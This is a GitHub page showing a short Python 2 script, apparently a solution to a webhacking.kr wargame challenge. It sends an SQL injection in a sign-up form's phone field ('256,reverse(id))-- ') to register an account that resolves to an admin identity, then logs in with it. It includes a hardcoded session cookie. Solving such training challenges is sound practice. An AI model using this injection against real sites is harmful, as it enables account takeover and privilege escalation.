-
Notifications
You must be signed in to change notification settings - Fork 0
/
Challenge59.py
45 lines (40 loc) · 1.14 KB
/
Challenge59.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#-*- coding: utf-8 -*-
import urllib
import urllib2
import CookieManager
challengeUrl = "http://webhacking.kr/challenge/web/web-36/index.php"
CookieManager.addCookie("PHPSESSID", "e52509baa15ced3a5be56d2efc0239b6")
print "[*] Join nimda"
parameters = urllib.urlencode({
"id": "nimda",
"phone": "256,reverse(id))-- "
})
httpRequest = urllib2.Request(challengeUrl, parameters)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
print "[*] Login nimda"
parameters = urllib.urlencode({
"lid": "nimda",
"lphone": "256"
})
httpRequest = urllib2.Request(challengeUrl, parameters)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()